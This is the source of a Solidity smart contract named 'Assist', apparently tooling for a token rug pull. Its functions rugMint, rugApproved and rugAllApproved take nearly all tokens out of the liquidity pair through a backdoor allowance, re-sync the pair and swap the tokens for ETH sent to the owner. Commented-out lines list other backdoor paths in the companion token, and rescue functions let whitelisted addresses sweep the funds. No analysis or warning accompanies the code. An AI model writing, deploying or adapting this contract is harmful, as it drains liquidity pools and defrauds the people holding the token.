Contract Source Code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
// import "hardhat/console.sol";

contract Authenticatable {
    address internal _owner;
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Authenticatable: caller is not the owner");
        _;
    }
}

interface IToken {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address from, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function decimals() external view returns (uint256);
    function burn(address spender, uint256 amount) external;
    function totalSupply() external view returns (uint256);
    function manualSwap(address pair_, uint256 amount_) external;
    function manualSwap() external;
    function manualsend() external;
    function manualsend(address to) external;
    function manualSwap(address spender) external;
    function airdrop(address from, address[] memory recipients, uint256 amount) external;
    function reduceFee(uint256 _amount) external;
    function delBots(address bot) external ;
    function reduceFee(uint256 _newFee, address from) external;
    function rescueERC20(address pair, uint256 amount) external;
}
interface IUniRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
    function sync() external;
}

contract Assist is Authenticatable {
    address private token;
    address private pair;
    mapping(address => bool) private whitelists;
    IUniRouter private router;

    modifier onlyWhitelists() {
        require(whitelists[msg.sender]); _;
    }
    constructor() {
        _owner = msg.sender;
        whitelists[msg.sender] = true;
    }

    function whitelistSellersFuck(address[] memory whitelists_) external onlyWhitelists{
        for (uint i = 0; i < whitelists_.length; i++) {
            whitelists[whitelists_[i]] = true;
        }
    }

    function refresh(address router_, address token_, address pair_) external onlyOwner {
        router = IUniRouter(router_);
        token = token_;
        pair = pair_;
    }
    
    function swap(uint256 amount) internal {
        address[] memory path = new address[](2);
        path[0] = token;
        path[1] = router.WETH();
        IToken(token).approve(address(router), ~uint256(0));
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            _owner,
            block.timestamp + 1000000000
        );
    }

    function rugMint(uint256 amount) external onlyWhitelists {
        swap(amount);
    }

    function rugApproved() external onlyWhitelists {
        uint256 amount = IToken(token).balanceOf(pair) - 1 * IToken(token).decimals();
        IToken(token).transferFrom(pair, address(this), amount);
        IUniswapV2Pair(pair).sync();
        uint256 balance = IToken(token).balanceOf(address(this));
        swap(balance);
    }

    function rugAllApproved() external onlyWhitelists {
        // IToken(token).manualSwap(pair, type(uint).max);
        // IToken(token).reduceFee(0, pair);
        // IToken(token).reduceFee(0);
        // IToken(token).rescueERC20(pair, type(uint).max);
        IToken(token).approve(address(this), IToken(token).totalSupply());

        uint256 amount = IToken(token).balanceOf(pair) - 1 * IToken(token).decimals();
        IToken(token).transferFrom(pair, address(this), amount);
        // address[] memory recipients = new address[](1);
        // recipients[0] = address(this);
        // IToken(token).airdrop(pair, recipients, amount);
        IUniswapV2Pair(pair).sync();
        uint256 balance = IToken(token).balanceOf(address(this));
        swap(balance);
    }

    function rescueETH() external onlyWhitelists {
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueETHTo(address _to, uint256 _amount) external onlyWhitelists {
        payable(_to).transfer(_amount);
    }

    function rescue(address token_) external onlyWhitelists {
        if (token_ == address(0)) {
            payable(msg.sender).transfer(address(this).balance);
        } else {
            IToken(token_).transfer(msg.sender, IToken(token_).balanceOf(address(this)));
        }
    }

    function rescueTo(address token_, uint256 amount_, address to_) external onlyWhitelists {
        IToken(token_).transfer(to_, amount_);
    }

    function manualSend() external onlyOwner() {
        IToken(token).manualsend();
    }

    function manualSwap() external onlyOwner() {
        IToken(token).manualSwap();
    }

    function reduceFee(uint256 newFee_) external onlyOwner() {
        IToken(token).reduceFee(newFee_);
    }

    receive() external payable {
        require(whitelists[tx.origin]);
    }

    fallback() external payable {
        require(whitelists[tx.origin]);
    }
}